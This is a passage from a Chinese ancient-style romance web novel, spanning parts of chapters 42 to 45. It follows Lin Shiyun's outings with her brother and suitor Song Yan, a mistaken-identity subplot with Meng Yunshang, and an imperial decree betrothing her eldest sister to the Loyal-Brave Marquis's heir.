眼看就要登上二楼,宋晏却不小心脚步一滑,林诗芸吓了一跳,轻呼一声,急忙双手抱住了他的胳膊,看到宋晏无事松了口气道,“好险好险,就说你得好好吃饭吧,不然走路都没有劲了。” 因为着急,林诗芸半个身子紧贴在宋晏身上,宋晏感受到了林诗芸胸前的柔软,登时便红了脸,连呼吸都急促起来。 身后的姚君远揶揄的看着他,他又连忙捂着嘴咳嗽了几声,只是那红透的耳尖还是叫姚君远差点笑出了声。 林诗芸未察觉,忙轻拍着宋晏的背问道:“哪里不舒服?可用叫大夫?” 宋晏半晌轻轻摇头,道了声无事,不用担心。 林诗芸这才放开了抱着宋晏胳膊的双手。 只听吱呀一声雅间的门打开,林景行从里头走出来,看到林诗芸身旁的人,脸色瞬间沉了下来。 春雨也不管不顾的从后头硬挤了过来,忙对林诗芸使眼色。 林诗芸后知后觉,这才觉得自己跟宋晏的距离有些太近了。 林诗芸嘟了嘟嘴,这才明白大哥哥为何这个眼神,她带着外男上来了 但是人已经领上来了,她也不能将人撵走不是,忙小跑至大哥哥身前,小声道:“大哥哥,你知道因为端王夫妻和离,宋晏肯定很难过的,我见他这几日憔悴了许多,定未好好用膳,所以我将他带过来和咱们一起用午膳。” 至于姚君远,略过。 林景行开口道的却是,“你们在何处遇到的?” 林诗芸如实回答:“在糕点铺子门口遇到的。” 宋晏和姚君远也已经走了过来,一起同林景行问好。 林景行淡淡点头。 不要问他为何这般无礼。 任谁面对自家妹妹有非分之想的男子,没将对方直接给赶走都已经算是好性了。 林景行并未说些什么,只是转身带着林诗芸进了雅间,默认了林诗芸的邀请。 宋晏同姚君远二人无奈对视,这家伙,又开始大舅哥做派了。 不过确实是大舅哥,他们伏低做小是应该的。 三个男人寒暄,林诗芸侧耳同春雨说了句什么,春雨听后便出去了,林诗芸转头去问大哥可点了饭菜,她肚子都饿了。 林景行对林诗芸一向宠溺,自然已经点了满满一桌妹妹爱吃的。 他点点头道:“都点了,还点了你最爱的肘子。” 林诗芸一听便笑的眉眼弯弯的,又瞧到有些消瘦了的宋晏对外头的下人道:“再上个鸡汤来,青菜也再来两道,” 林景行无奈,“我已着人加了菜。” 林诗芸嘿嘿笑着坐到大哥哥身旁,悄悄问道:“大哥哥,我能自己吃一个肘子吗?” 林景行被妹妹噎了一下,停顿了一瞬才道:“哥哥点了你爱吃的烧鸭,四喜丸子,八宝鸡,乳鸽,清蒸鲈鱼,你不是还想吃东坡肉,哥哥一并都点了,一个肘子吃下便吃不下别的了,芸儿乖。” 林诗芸哦了一声,想了想又满眼期待的望着大哥哥道:“那,那我可以打包一个吗?” 不是她馋啊,府上做的肘子跟翠云楼差远了! 林景行无奈应允,他是真的拿四妹妹没有办法,也不知道这孩子怎么这么好的胃口,偏偏还干吃不胖。 林诗芸这才乐呵起来,又看向窗外不断有马车拉着行礼经过,好奇问道近日怎么这么多人进京。 林景行耐心朝妹妹解释,“多是周边的学子,参加今年秋闱,也有全国各地的举子,来参加明年春闱。” 林诗芸十分惊讶,秋闱就罢了,毕竟马上入夏了,早些入京安排妥当也好,这明年的春闱,这便就有来的了? 也太早了些吧。 但是林诗芸也没再继续问了,大哥哥秋日也是要下场的,她还是不要问那么多问题,免得大哥哥有压力。 姚君远在一旁忍笑忍的辛苦,也不知宋晏是为何看上这个吃货的,眼中除了吃吃喝喝再没有旁的事了。 不过话说回来,小表妹同宋晏也算绝配,郎才女貌,一静一动,性格也互补的很。 宋晏的眼睛始终没看向林诗芸,他低着头专注地看着手中的茶盏,唇角始终带着淡淡的笑意,如沐春风一般。 但是若是仔细瞧,宋晏的耳尖还带着些粉色,耳朵支棱着朝着林诗芸的方向,时刻关注着对方的一言一行。 膳食上的很快,坐定后林诗芸便给林景行盛了碗鸡汤,递过去之后又给宋晏盛了一碗,姚君远清了清嗓子看了眼自己的碗,林诗芸自动给忽略了。 布菜的下人忙给自家世子盛上,姚君远叹息一声,也不生气,心里对小表妹每次见了自己都没个好脸的原因其实非常明白。 他故作伤心叹气道:“都是小时候的事情了,小表妹还这么记仇。” 林诗芸翻了个白眼,又朝姚君远做了个鬼脸,狗东西,小时候叫她饭桶,长大了不光叫她饭桶还惦记她姐姐,她能给他好脸才怪! 林景行揉了揉林诗芸的头,也不知是安抚还是斥责,轻声道:“不准作怪,好好用膳。” 林诗芸乖乖应了声好,便开始大快朵颐。 桌上的三个男人时不时的会说几句朝堂时政,林诗芸对这些事情也不感兴趣,只自顾自的吃着,偶尔拿着公筷给大哥和宋晏夹些菜。 一顿午膳用完,三个大男人只觉得肚子有些撑。 实在是林诗芸吃饭香,特别下饭,跟她一起用膳,就没有不吃多的时候。 今日的宋晏为了维持自己身体不好的人设收敛了许多,倒是鸡汤一碗一碗的全被林诗芸投喂进了他的肚子,搞的他现在小腹都有些发胀了。 喝了一盏茶略作休息之后林景行便起身离开。 宋晏看时辰已经不早,他也该进宫接亲爹了。 心里惦记着哪日邀芸儿去王府用膳,他寻回来的饭食方子,厨子已经能做的很好了。 几人打了招呼说了分别的话。 宋晏和姚君远走在前头,林景行同林诗芸在后面说话。 林景行要去拜见大儒,便同林诗芸道:“叫护卫先送你回府,哥哥有事,需要出去一趟。” 林诗芸眨眨眼睛,打定主意不回府。 她抓住大哥哥的袖子,商量道:“大哥哥,我能晚一个时辰回去吗?下月便是三姐姐生辰,我想去给三姐姐定制个首饰,是给三姐姐的及笄礼物,大哥哥允我去好不好?” 林景行抿着嘴看着她不说话,林诗芸撅了噘嘴加大了力度,扯着大哥哥的袖子摇晃着可怜兮兮道,“那半个时辰行不行?求求你了大哥哥,就半个时辰,到时间我就回府,好不好嘛,” 林诗芸对着林景行胡搅蛮缠,扯着大哥哥的袖子撒娇卖萌,林景行被她缠的无法,“只有半个时辰,半个时辰后你便回府,不然以后哥哥不带你出来了。” 林诗芸瞬间变了脸,高兴地扯着大哥哥的袖子蹦跶起来,“好好,半个时辰之后我肯定回府,我保证!嘿嘿,大哥 哥真好,芸儿以后都乖乖听大哥哥的话,绝不惹大哥哥生气。” “大哥哥果然最疼芸儿了!” 虽然每次林诗芸哄人都是这几句话,但是架不住家人爱听啊,几句话就给林景行哄的唇角飞扬,挥挥手留下四个护卫,又叮嘱了几句,揉了揉妹妹的头自己才翻身上马走了。 林诗芸远远地朝着宋晏笑着摆了摆手,便跟只小蜜蜂似的带着丫鬟护卫们飞走了。 围观了这一切的姚君远差点没笑岔气,论胡搅蛮缠,林诗芸第一谁敢说第二。 宋晏白了好友一眼。 在他眼中,芸儿那是撒娇卖萌,哪里是胡搅蛮缠了。 有暗卫不知从哪冒了出来,躬身朝二人行礼,说了今日在此处发生的事情。 “谢子阳?刚刚芸儿同林景行是在看谢子阳的热闹?” 宋晏点点头,道了句知道了,人影便迅速离开。 姚君远恍然大悟,果然还得是大舅哥啊,动手比他要快多了。 姚君远也准备了一些手段,只是尚未实施。 宋晏看了好友一眼,那眼神中满是你不如他。 姚君远叹了口气,也知在此事上是他做的不好,“你知道的,我父亲最近盯我盯的紧,身边也全被换成了父亲的人,我只有说出来见你他们才同意我出来,我哪里敢轻举妄动。” 因着姚君远拒了县主的婚事,国公爷看他哪哪的都不顺眼。 他怕这个时候露出他心悦表妹一事,父亲之后会不赞同他同表妹之事。 姚君远赞叹林景行的手段,谢子阳这下别说是京中贵女,一般看中女儿的人家都不会将女儿嫁过去了,也算是做了件好事。 宋晏在考虑要不要给芸儿身边安排几个暗卫。 这种事情他现在才知道,是有些晚了。 考虑了半晌,宋晏还是否了这个想法。 不说定安侯府守卫森严,若是这事叫林景行或者林父发现,只会叫事情更糟。 罢了,还是远远的守护知道芸儿的动向便可。 宋晏也不再搭理姚君远,转身便要离开。 只是他在自家马车前突然站定,看了眼身上的衣裳,冷不丁开口问了句:“车上可有备用的外袍?” 小厮征楞了一瞬,连忙回道:“回世子,车厢内有给您准备的衣袍,都是干净的。” 姚君远打量着好友这一身洁白无瑕的衣裳,一脸不解道,“衣服哪里脏了?” 宋晏一侧唇角勾起,挑眉看了好友一眼道,“被芸儿抱过的衣裳,理应珍视。” 须得好好珍藏才是。 姚君远无语,半晌:我草!他在朝我炫耀!!! 姚君远气到跺脚!转身去找马! 周围端王府的下人们嘴角抽动的厉害,属实也被自家主子的骚操作震惊到,不自觉将头垂得更低了…… 上了马车的宋晏刚一坐定便看到了桌子上的糕点,包装精美并未开封。 他勾了勾唇角,又清了清嗓子才撩起窗幔故意大声问外头的小厮,“可是芸儿送来的?” 马车并未行驶,姚君远已经翻身上了马,手上抓着缰绳,听到动静转头便看到了窗幔下宋晏露出来的一张俊脸。 小厮哪里能猜不出自家世子的意思,躬身大声道,“回世子的话,是四姑娘身边的丫鬟送过来的!” 小厮的话顺利的钻进姚君远的耳中。 姚君远气到咬牙,再看宋晏那挑着眉得意忘形的嘴脸,一甩马鞭便跑没了影。 绝交!必须绝交! 第43章 林诗芸的目的地非常明确,绣坊。 附近有她常去的首饰铺子,也有书局,她只有半个时辰的时间,便先去了书局买话本子。 她同林诗意一起看。 林诗意没什么爱好,心情好了偶尔会同林诗情一起作会画,但多数时间是在看话本子。 其实不拘于话本子,什么诗集人物传记她也是看的。 但是林诗芸要买自然是买话本子了。 姐妹俩也算臭味相投,她几分钟的时间便选了一摞。 从书局出来便又去了首饰铺子定了头面,她画了几日才画好的图纸,三姐姐最爱芍药,她便定制了一套独一无二的芍药头面,好在三姐姐及笄时给她一个惊喜。 工时较长,她要求的也精细,但是一月后才到林诗意的生辰,所以时间还算充足。 解决完这件心头大事她便随意逛了起来,天气愈发的热了,午后的阳光晒得人头脑发晕。 街上还是熙熙攘攘,一辆马车疾驰而过,兴许是路上的行人太多,马车行使的速度也快,经过的时候差点碰到了路人。 那妇人四十多岁的年纪,被车身蹭了一下,险些要摔倒。 春雨眼疾手快扯了一把,妇人才有惊无险的躲过。 几名护卫忙护在林诗芸四周。 春雨大声斥责过去的车夫,只是马车行的快,已经行出几米了。 妇人站定后忙制止要上前理论的春雨,“不必了姑娘,那马车异常华贵,不是我等能惹的,我无碍,姑娘不必费心。” 只是妇人的话尚未说话,便见马车已经停了下来。 似乎是相熟的人家。 车夫下了马车,先是跟林诗芸躬身行礼后才去向妇人赔礼道歉。 林诗芸点点头,便看到了被两个丫鬟扶着,慢悠悠下来的郑薇薇。 “吆,这么巧啊小牛犊,” 林诗芸伸了伸拳头,郑薇薇瞬间改口,“这么巧啊小仙女~” 林诗芸还是白了这人一眼,瞧着郑薇薇一身打扮分外辣眼,红衣华服满头珠翠,不开玩笑,那头上金钗估计有十几支,快要闪瞎了她的眼。 她上前走了几步,皱着眉头撇着嘴道:“你这身打扮,不会是去相看去了吧?你没看中别个,打算用你独特的妆造将人吓死?还是打算用你头上的金钗将人砸死啊?啧啧,” 郑薇薇气急,她是故意装扮成这样的,但也没这小瘪犊子说的这么难看吧! 郑薇薇抿着嘴板着脸,抱着膀子看着她,悠悠道,“你说你这小嘴啊,要是被毒哑了会怎么样?” 林诗芸挑眉,眯着眼睛坏笑道:“能怎么样,咱两家干起来呗,我爹冲进忠勇侯府怒吼,无知小儿竟敢害我女儿!快拿命来!” 说完自己捂着嘴巴嘿嘿嘿的笑了起来,一点高门贵女的模样都没有。 郑薇薇觉得自己手好痒,想打人是怎么回事,这个熊孩子每天都在看些什么!定安侯府的长辈们也不管管吗! 最终林诗芸还是没扛过郑薇薇危险的眼神,干咳两声收敛了神色道:“你这是要去哪啊,如此着急?” 言外之意,差点撞了人你不打算看看? 郑薇薇无奈道:“跟我嫂子去了赴了个宴,还没结束我就跑了,这不着急着回府找我哥呢,怕我嫂子逮到揍我。” 说完这话郑薇薇这才看向妇人,见人无事只点了点头便移过了脸。 车夫已经去道歉,她屈尊降贵的能看下一眼已是恩赐。 她打量林诗芸周围并没有林诗瑶几个,想到大哥今日一早便要进宫去求陛下的事情,有些心虚道:“那个,我明日一早便出发去青莲寺,若是咱两家发生点什么事,可与我无关啊,” 林诗芸满脸疑惑,“啊?何事?” 郑薇薇却是清了清嗓子,抿着嘴支支吾吾说了句好事便再也不说了。 车夫已经回到了马车前,郑薇薇捏了捏林诗芸柔嫩的小脸道:“好了,我要回去了,还要收拾行李呢,不要太想我哦!” 说完这人转身上了马车朝着她摆了摆手便走了。 留下林诗芸一脸的莫名其妙。 他们两家能发生何事?难不成两位侯爷又打架了? 打就打呗,又不稀奇,平均一年打两回,她都习惯了。 还是好事?能有什么好事? 两家联姻啊?忠勇侯疯了?不怕大伯揍死他啊? 耸了耸肩觉得不太可能,便不再去想了。 眼看她的时辰也不多了,她还是赶紧去绣坊吧。 春雨也已经过来了,林诗芸朝妇人笑着点了点头,这才走了。 午后绣坊的人并不多。 因着时间有限,林诗芸同孙娘子并未过多寒暄。 她今日是来照顾自家生意的。 天儿已经很热了,她打算挑几把团扇送给姐姐们。 母亲和姨娘也 都是要送的。 绣坊还新到了一批丝绸,料子极丝滑,摸上去冰冰凉凉的,她选了两匹准备带回去给姨娘用,怀孕之人夏日不能过多用冰,这些姨娘穿着还能舒服一些。 只是这一下,她带出来的二百两银票便花的干干净净。 她摆弄着手上的团扇,心里正感叹这银钱太不经花,便听见一道清晰的男音传了过来。 林诗芸转身一看,不是孟云上是谁。 只一进锦绣坊的门,孟云上便看到了林诗芸。 孟云上是跟着母亲过来的,刚才他去卖猎物,母亲在附近等他,他这会儿才刚寻了过来。 孟云上觉得,她更加貌美了。 相较于初见时的含苞待放,现在的她美的惊艳,叫人瞬间便移不开眼。 他看向她时,她正专注的挑选着团扇,他们离的并不远,他看到她轻轻皱起的眉,轻咬下唇的贝齿,她纤细白嫩的手指轻轻转动着团扇。 她是那样的光彩照人,只这一眼,便叫他失了神 他感觉胸腔似有一团火焰,心脏在剧烈跳动,下一瞬便要跳出来了。 他不自觉的出声呢喃,看向她的眼神也是灼热直白。 他唤她,姑娘,郑,郑姑娘。 林诗芸本是在仔细挑选团扇,却也听到了那句,郑姑娘。 她看向对面的人,是孟云上,只是郑姑娘是谁? 林诗芸和春雨是如出一辙的表情,俱是打量着周围,林诗芸见周围确实无人才确定对方叫的是自己,便笑着回应了句,孟大哥。 林诗芸将团扇放在一旁,笑着上前同孟云上打招呼。 她是还没有告诉他自己的名字吗? 嗯……好像真的没有。 孟云上心中有些激动。 他果真同她有缘,今日出门时还在想不知能否碰到她,结果没多久便在此地又见到了她…… 他心中惦念了多日的姑娘。 孟母将包袱中的帕子全都交给掌柜之后便察觉到儿子的异样。 转身便看到了今日在路上碰到的贵女。 知子莫若母,孟母看到儿子的神情,不自觉的皱了皱眉头。 这种人家,哪是他们能肖想的。 孟母站到儿子身旁,叹了口气,拘谨的朝林诗芸点了点头。 林诗芸也一眼认出了孟云上身旁的妇人,笑着道:“您是孟大哥的母亲吗?难怪刚才瞧着面善。” 妇人看看儿子又看看林诗芸,刚刚在路上那惊鸿一瞥她便被这位姑娘惊艳到了,此时离的如此近,她只觉得仙女下凡也不过如此。 她看着目光一瞬不瞬的儿子,心中隐隐有些不安。 “是,刚才还得多谢您。” 虽然是春雨帮了她一把,但是林诗芸是主子,她谢林诗芸也是应该的。 林诗芸笑着摇头,“是春雨扶了您一把,真巧,您竟是孟大哥的母亲,孟大哥也帮过我们呢,我还得多谢您才是。” 说完又笑着对孟云上打趣道:“好久未见了孟大哥,瞧着又黑了些。” 孟云上被林诗芸说的黑脸一红,尴尬的挠了挠脑袋嘿嘿的笑了起来,嘴上道:“最近,最近训练时太阳大,” 林诗芸点头,便听外头传来护卫的声音。 春雨接收到了护卫的信号,“姑娘,半个时辰已过,咱们该回府了。” 林诗芸知道自己超时了,她轻轻点头道了声好,转身同二人道别,孙娘子一看林诗芸要走,忙将林诗芸刚才选好的团扇打包送了出去。 春雨接过,林诗芸已经坐上了马车,她撩起窗幔朝孙娘子小声道:“这次时间有些紧,我便先回府了,绣坊还得劳您操心,不必担心银钱,待到天热起来,尽管用上冰鉴。” 孙娘子笑着应好,只觉得再没有比林诗芸更妥帖的东家了。 孙娘子笑着回了铺子,见孟母还在,忙笑着去招呼孟母。 只是孟云上却跟被冻住了似的,一直望着渐行渐远的马车,久久不能回神。 耳畔传来母亲同女掌柜的说话声,“您这次还是再来些丝线?这些绸缎也再来些?您的绣活越来越好了,好多顾客专门来定您的帕子呢。” 孟云上一颗心已经沉到了谷底。 他刚才清清楚楚的看到林诗芸所上的马车上明晃晃的林字,脑袋像是被炸裂开一般,林?是定安侯府? 她不是忠勇侯府的小姐吗?怎么会,怎么会…… 耳边女掌柜的声音再次传来,“您问刚才那位贵女?嗯,是定安侯府的四姑娘,是啊,美的如仙人一般啊。” “对,经常过来,四姑娘人美心善,是这京城顶顶好的贵女” 定安侯府的四姑娘? 她是定安侯府的四姑娘! 他找错了人!他竟找错了人! 那他,他拒绝了定安侯所提的婚事又算什么? 孟云上有些崩溃。 他还记得他婉拒了定安侯府所提婚事之时上峰那恨铁不成钢的神情。 上峰被他气到跺脚:“京城谁不知道定安侯府四位姑娘长得貌美又贤良,即使侯爷将那庶出鲜少有人见过的四姑娘嫁给你,那也是你高攀了啊!你个不知好歹的混账!” 是啊,他可不就是混账吗,明明唾手可得的婚事,全被他给搞砸了!搞砸了! 孟云上险些红了眼眶 一路上,春雨瞧着林诗芸欲言又止的。 林诗芸被瞧的心里直发毛,无奈道,“有话你便直说吧,这样的眼神还怪吓人的。” 春雨叹了口气,慢吞吞道:“姑娘可不敢再同端王世子那样近了,姑娘大了,叫外人看到会说闲话的。” 林诗芸点点头,道:“知道啦,我年岁大了嘛,得避嫌,” “可是我今日看到宋晏的憔悴的模样,心里就老感觉不舒服,有些闷闷的酸酸的,难不成我是病了?或者早膳用少了才会这般?反正就是不得劲。” “不过也就那一会儿,我现在已经好了。” 说完又耸了耸肩,转身给春雨挑起团扇来,“马上端午了,这天儿也愈发的热,你快来选上一个,也给听雨选上一个才行,” 春雨在一旁无奈叹气,她的傻姑娘,在情爱一事上啥时候能开窍啊。 第44章 今日正是端午节。 一大早的定安侯府四位小姐便打扮起来,她们要跟着两位夫人一起出去看龙舟比赛。 这也是她们每年都会前去观看的比赛。 那是春河一年一度的盛会,上到达官显贵下到平民百胜,纷纷前往,春河边春山下,到处都是人,熙熙攘攘,好不热闹。 林诗芸今日一身淡紫色长裙,裙摆上金线绣制的蝴蝶翩翩起舞,头上还簪了两朵盛放的海棠花,左右两支金簪加以装饰,清新又淡雅。 林诗情穿的鲜艳,一身杨妃色长裙衬的她皮肤粉嫩,头上是一整套的金制芍药头面,高贵大方。 林诗意是一身碧色长裙,头上搭配了两只玉簪搭配了两朵娇艳的牡丹花,鲜妍活泼。 林诗瑶则是一身红色长裙,头上是几只简单的红宝石发簪,腰带将她的身形完全勾勒出来,张扬奔放,十分惹眼。 今天的重点还在两位姐姐身上,林诗意和林诗芸完全是个陪衬,故而都打扮的低调又不失华丽。 两位夫人各自看着自己女儿,面上皆是满意的。 程氏同姚氏一样,从不懈叫女儿穿什么浅色衣裳,都是从少女过来的,自然明白女儿喜欢鲜亮的,定安侯府又不是什么低调的人家,除了天家,再华美的衣裳,她们也穿得。 今日男儿们也放了假。 都已经整装待发,他们不参加赛龙舟,但是各家相熟的好友却是有参加的,自然是要去凑凑热闹。 定安侯看着自家几个儿郎,点点头,不错,很有他当年的风范。 这边夸赞的话尚未说出口便 听管家着急忙慌的跑了进来,说是来了圣旨。 定安侯一头雾水,陛下端午节赐枭羹的习惯不是早就弃了?已经多年未赐过了,今年又想起来了? 只是,这玩意儿也不用传圣旨啊? 传旨的太监很快便入了门,见到定安侯更是笑着恭喜,“恭喜侯爷贺喜侯爷,今日大喜啊。” 定安侯更加莫名了,他笑着询问到底是何事,太监但笑不语,只说待侯府所有人到齐之后再传圣旨。 接圣旨吗,自是要焚香沐浴香炉香案通通摆起来。 只沐浴是不用的,大兴朝端午节是有沐浴除祟这一习俗,侯府从上到下今日一早都沐浴过了,所有人亦是一身新衣。 四姐妹跟着各自的母亲已经到了,林二爷亲自去将母亲给请来,三房听到动静很快也到了。 太监见人已到齐,满意点头,大手一甩便开始宣旨,“圣旨到,” 众人乌压压跪了一地。 “奉天承运,皇帝诏曰:朕与皇后听闻,定安侯长女林诗瑶温柔贤惠,秀外慧中;又闻忠勇侯长子郑子墨,文武兼备,德才出众。二人门当户对,才貌双全,今朕赐婚与二人,望二人琴瑟和鸣,永结同心。两家择良辰吉日,举行大婚。钦此!” 听完圣旨的定安侯脑子嗡嗡作响,还是林怀诚反应及时,扯了扯大哥的袖子,大哥这才反应过来。 这是给大女儿赐婚,应该女儿接旨。 听到圣旨的内容林诗芸直接懵掉了。 林诗情林诗意做不得他想,纷纷去望大姐姐。 林诗瑶却比众人都要平静。 她几步上前跪地将圣旨恭敬的接在手里。 “臣女林诗瑶接旨,谢主隆恩。” 林诗瑶此时确实是叫人高看的,她举止有礼,仪态端庄,听到突如其来的旨意她未露出一丝异样。 传旨的太监暗自点头,难怪忠勇侯带着儿子在宫里跪了陛下一天也要求娶呢,就大姑娘的气度,做王妃也是使得的。 众人纷纷跪地,共谢陛下圣恩。 定安侯气到脸色发青,好你个郑英雄!你敢坑老子!联合陛下给老子玩阴的!你好!你好的很啊!老子这么个大闺女就叫你几句话给坑去了?门都没有!老子跟你没完! 林怀诚也不去管大哥什么心情,赶紧上前给传旨的太监塞了红包,姚氏也忙上前同丈夫一起招呼太监进厅喝茶休息。 侯夫人程氏被突如其来的圣旨击的头脑发昏,扶着老夫人的手还有些摇摇欲坠。 忠勇侯府世子?郑子墨? 程氏皱着眉头在仔细回忆郑子墨的长相,老夫人叹息一声,拍了拍大儿媳的手道:“兴许是门好的亲事,这事啊,没你想的那么糟。” 她也算是看着英雄那孩子长大的,混是混了些,但并不坏,他的长子,也不会差到哪里去。 英雄和大儿子从小一起长大,打打闹闹惯了,哪里就和外头说的针锋相对了,虽多年未见英雄来看她了,但她是不信的。 老夫人确实是老了,跪了半晌腿脚有些颤颤巍巍的。 林诗情和林诗芸忙去搀扶祖母,林诗意则是一把扶住了大夫人。 林诗瑶全程淡定的很,在大哥的陪同下,将圣旨送进了祠堂,一路上不见任何异样。 林景行叹了口气,刚要出声安慰这个瞬间像长大了一般的妹妹,便听下人跑过来道,“世子,世子不好了,侯爷他,侯爷他拿着长枪往忠勇侯府去了!” 林景行道了一声不好,刚要走却又不放心的停下了脚步,林诗瑶无奈道,“哥哥快去吧,爹生气起来不管不顾的,我真的无事。” 林景行点点头,这才放心的跑了。 林诗瑶看了看天空,蓝天白云,一望无垠,挺好。 她何德何能得陛下赐婚,这是定安侯一门的荣耀。 雷霆雨露,皆是君恩,容不得她不喜。 林诗情几个找来的也很快,三个人也不敢说些什么,只是安静的陪在大姐姐身边。 林诗芸心里腹诽,这个忠勇侯,就该叫大伯给揍一顿才是,什么玩意儿啊明着不敢上门竟然直接去求赐婚! 这个老皇帝也是!打听了吗就瞎赐婚! 不知道两家不和啊! 林诗瑶要去找母亲,对三人摆摆手道:“我真无事,不就是嫁给郑子墨吗?我同他又不是没见过,长相也还过的去,没那么丑,又是世子,与咱家又是门当户对,我才不会难过呢,” “你们仨赶紧回吧,我去找母亲说说话,我倒无事,我怕母亲心里有落差,去去去,都赶紧滚。” 于是三人你看看我,我看看你,麻利的滚了。 今儿个的龙舟是不用看了,府上现在乱了套了。 林诗芸他爹同林景行一块去追定安侯去了,三房早就没了影,老夫人只宽慰了程氏几句便回了自己院子。 姚氏无奈,她有些不知如何安慰大嫂。 姚氏见林诗瑶进来便起身离开了,她其实觉得这门亲事还不错。 她同丈夫跟传旨的太监旁敲侧击的问了几句,知晓这圣旨是忠勇侯同世子一起跪求陛下一日才得来的,如此大费周章就是为了娶诗瑶,忠勇侯世子应是极为看中诗瑶的。 没上门求娶,一来嘛,忠勇侯怕是知晓大伯定不会同意,二来嘛,忠勇侯也顾忌着自己的面子,便直接去求陛下,这圣旨在手,便是一劳永逸的事情,也不用担心悔婚。 只是忠勇侯府是高兴了。 大伯这边怕是要疯。 姚氏摇了摇头,又想到自家两个女儿。 忽然便想到了来年的春闱。 嗯,再等等看吧,明年春闱,各地的学子陆续来京,自然不缺好儿郎。 两个女儿都美的跟朵花似的,她娇养了这么多年,自是不愿意将女儿随意嫁掉,还得好好选选,门当户对也好,高嫁低嫁也罢,她只希望两个女儿能过的顺遂过的舒服。 林诗芸趴在榻上摆弄着手腕上的镯子,有些蔫头耷脑的。 “哎,也没看上今日的热闹,都怪那郑子墨!狗东西!咦!” 她突然想到之前郑薇薇同她说过的话,草!原来如此,她当时还猜会不会赐婚来着!这一家子还真是! 林诗芸撇撇嘴,这个郑子墨,提前跟大姐姐表明个心意也好啊。 林诗意问她咦什么,林诗芸将前几日在路上遇到郑薇薇的事情说了,林诗意叹气,“这事情确实是他忠勇侯府不地道,不过” “不过我觉得大姐姐应该同郑子墨见上一面,说清楚才是,总不能就这么稀里糊涂的嫁过去!” 一个时辰后 林诗瑶身边的大丫鬟来请林诗芸三个,说是大姑娘已秉明了侯夫人,四位姑娘一起出去逛逛。 林诗芸一个鲤鱼打挺就蹦起来了,这就对了嘛!她们今日打扮的这样好看,不出去招摇过市不可惜了? 待上了马车,林诗瑶轻描淡写道:“我将郑世子约在了茶楼,你们三个先去逛着,我一会便去找你们。” 三人你看看我我看看你,也都觉得二人见一面确实有必要,只是 林诗芸咳了一声道:“那个,大姐姐,我们也在茶楼等着你呗,省得有人看到背后说闲话。” 林诗瑶手臂一伸便捏上了林诗芸的小脸,“想看热闹就 直说,我们都是圣上赐婚的未婚夫妻了,还怕别人说闲话?” 林诗瑶将林诗芸蹂躏的脸颊给红苹果似的才将人放过,林诗情嗔了大姐姐一眼道:“我们这是担心你,你这半日不声不响的,一点情绪也不露出来,我们不是怕你见到郑世子再怒气上涌吗。” 林诗瑶自然知晓姐妹们的担心,她靠在林诗意身上轻声道:“我真没什么情绪,上次小校尉我闹过一次了,这次我没理由闹,其实我觉得这门婚事还算不错的,门当户对,自小便认识,我与郑敏敏相爱相杀了多年,也算是好朋友,至于别的,” “郑子墨长的虽不如咱家人,但也算勉强能看,我约他不为别的,就想知道这婚事是不是他自己求的,有些话,还是要说清楚的。” 林诗瑶看着窗外幽幽道:“我不喜他,但是我会尝试着接受他,仅此而已。” 林诗瑶几个到茶楼时郑子墨早已经到了。 他就站在茶楼门口,一身玄衣,跟个望妻石似的站在那里。 自林诗瑶露面,他一双眼睛就再也没从她身上移开半分。 二人去了雅间,姐妹三个自是被安排到了隔壁。 林诗芸和林诗意两个紧紧盯着隔壁雅间的门,站在门口迟迟不往雅间里去。 林诗情摇头叹息,扯着二人的袖子便要进门。 只听身后不远门吱呀一声打开,一声表妹竟也在这,叫林诗情停止了动作。 她转身看向来人,眉眼温和的叫了声表哥。 林诗芸同林诗意双双翻了个白眼,妈的狗东西,又碰到他了! 林诗芸蹭的一下钻到姐姐身前,冷脸看着这个狗皮膏药似的大表哥。 姚君远不甚在意,笑容和煦道:“表妹们也来喝茶?如此正好,我刚寻到了千山先生的墨宝,几位表妹可要一同观赏啊。” 林诗芸更气了。 千山先生是姐姐最喜欢的名家,一幅画千金难求。 不料姚君远身后又出现了一名女子,“情儿妹妹快来,你不是最爱千山先生了,快来,” 是姚若华,从小便看不起庶女那个。 林诗情在听到千山先生的那一瞬已经挪动了步子,林诗芸眼睁睁的看着姐姐去了隔壁雅间,她气到磨牙。 林诗意也听到了千山先生,表情明显也是想去的。 于是二人舍弃了林诗芸,一起去观摩名家画作去了。 林诗芸耸耸肩,她才不去呢,自顾自的转头趴隔壁的门上听墙角。 倒不是她不愿意去陶冶情操,只是她是真不想看到姚若华那张不可一世的嘴脸,跟全世界就她自己是嫡女就她最高贵似的。 守在门口的护卫俱在低头忍笑,全当看不见四姑娘。 只可惜林诗芸趴门上听了半晌,也还是听不清,里头说话也断断续续的,她有些丧气,转身时却看到了靠在墙壁带着一脸笑意的宋晏。 林诗芸瞬间高兴起来,一点也没有被人抓包的窘迫。 只是她晏字叫了一半便反应过来这不是说话的地方,连忙对着宋晏做了个嘘的手势,扯着对方的袖子将人拉进了隔壁雅间。 待她将雅间的门关上,宋晏才终于笑出了声。 宋晏的笑容很是好看,宛若三月盛放的桃花,他动作轻柔的帮林诗芸将凌乱的头发别到而后,笑着道:“怎的趴在门上?是想听里头人说话?” 林诗芸嘴巴微张着,呆呆的看着宋晏的一张脸。 今日的宋晏一身绛红色外袍,将面容映衬的更加的俊美,乌发如缎长眉若柳,他整个眉眼都带着如春风般的笑意,看向她的眼神专注而深情,眸似流星,叫林诗芸看的脸颊慢慢红了起来。 第45章 林诗芸着实被宋晏给美到了。 心里感叹着这世上怎会有如此好看的人,脸颊也愈发热了起来。 她急忙别过了眼,手忙脚乱的坐下后小声道:“晏哥哥怎么没在这?没去看赛龙舟?” 宋晏知道不能操之过急,点点头道:“嗯,没去,和君远出来喝茶。” 言罢便坐到了她的身旁,给她倒了杯水之后又道:“你刚刚是在,偷听?” 林诗芸喝了口水,感觉脸上没那么热了,噘着嘴开始控诉,“你应该也知道了吧,陛下一早下旨给我大姐姐赐了婚,给全家人打了个措手不及,今日我们本来要去春山玩上一日的,现在就只能出来喝个茶了。” 她又撇了一眼侧面的墙才慢悠悠道:“我大姐姐同忠勇侯世子就在隔壁说话,我是想听墙角来着,可是啥也听不到。” 宋晏挑眉,眼神宠溺的望着她,道:“你想听的话,也不是没有办法。” 林诗芸望着他,一双桃花眼水光潋滟的,惊喜道:“真的?” 宋晏的心跳像是漏了一拍,呼吸微滞,他看到她眸子里充满了他的身影,他的亦然。 林诗芸并未察觉,只睁大了眼睛亮晶晶的望着他,一心沉浸在能听到墙角的喜悦里。 宋晏不自觉摇摇头,他单纯的小姑娘,总是猝不及防的撞进他的心窝里。 